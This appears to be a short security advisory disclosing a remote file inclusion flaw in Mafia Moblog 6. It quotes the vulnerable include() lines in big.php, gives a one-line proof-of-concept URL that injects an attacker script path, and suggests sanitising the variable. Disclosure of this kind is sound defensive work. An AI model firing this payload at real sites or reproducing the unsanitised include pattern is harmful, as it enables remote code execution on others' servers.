------------------------------------------------------------------------
-------------------
Mafia Moblog pathtotemplate Remote File Inclusion
------------------------------------------------------------------------
-------------------
Author : Sh3ll
Date : 2006/04/30
HomePage : http://www.sh3ll.ir
Contact : sh3ll[at]sh3ll[dot]ir
------------------------------------------------------------------------
-------------------
Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Mafia Moblog
version : 6
Venedor : http://mafia.pearlabs.org
Class : Remote File Inclusion
Risk : High
Summary :
A Free, Fully Customizeable, Open-Source MoBlog script that will run on any
platform that is PHP and MySQL compatible.
------------------------------------------------------------------------
-------------------
Vulnerability:
~~~~~~~~~~~~~
The problem exists is in the big.php when used the variable $pathtotemplate in a
include() function without being Declared.
----------------------------------------big.php-------------------------
-------------------
...
<?php
include("info.php");
include("template.php");
if (file_exists("$pathtotemplate/includes.php")) {include("$pathtotemplate/includes.php");}
include("$pathtotemplate/big.php");
?>
...
------------------------------------------------------------------------
-------------------
PoC:
~~~
http://www.target.com/[Mafia Moblog]/big.php?pathtotemplate=[Evil Script]
Solution:
~~~~~~~~
Sanitize Variabel $pathtotemplate in big.php
------------------------------------------------------------------------
-------------------
Note:
~~~~
venedor contacted, but no response. so do a dirty patch.
------------------------------------------------------------------------
-------------------
Shoutz:
~~~~~~
~ Special Greetz to My Best Friend N4sh3n4s & My GF Atena
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum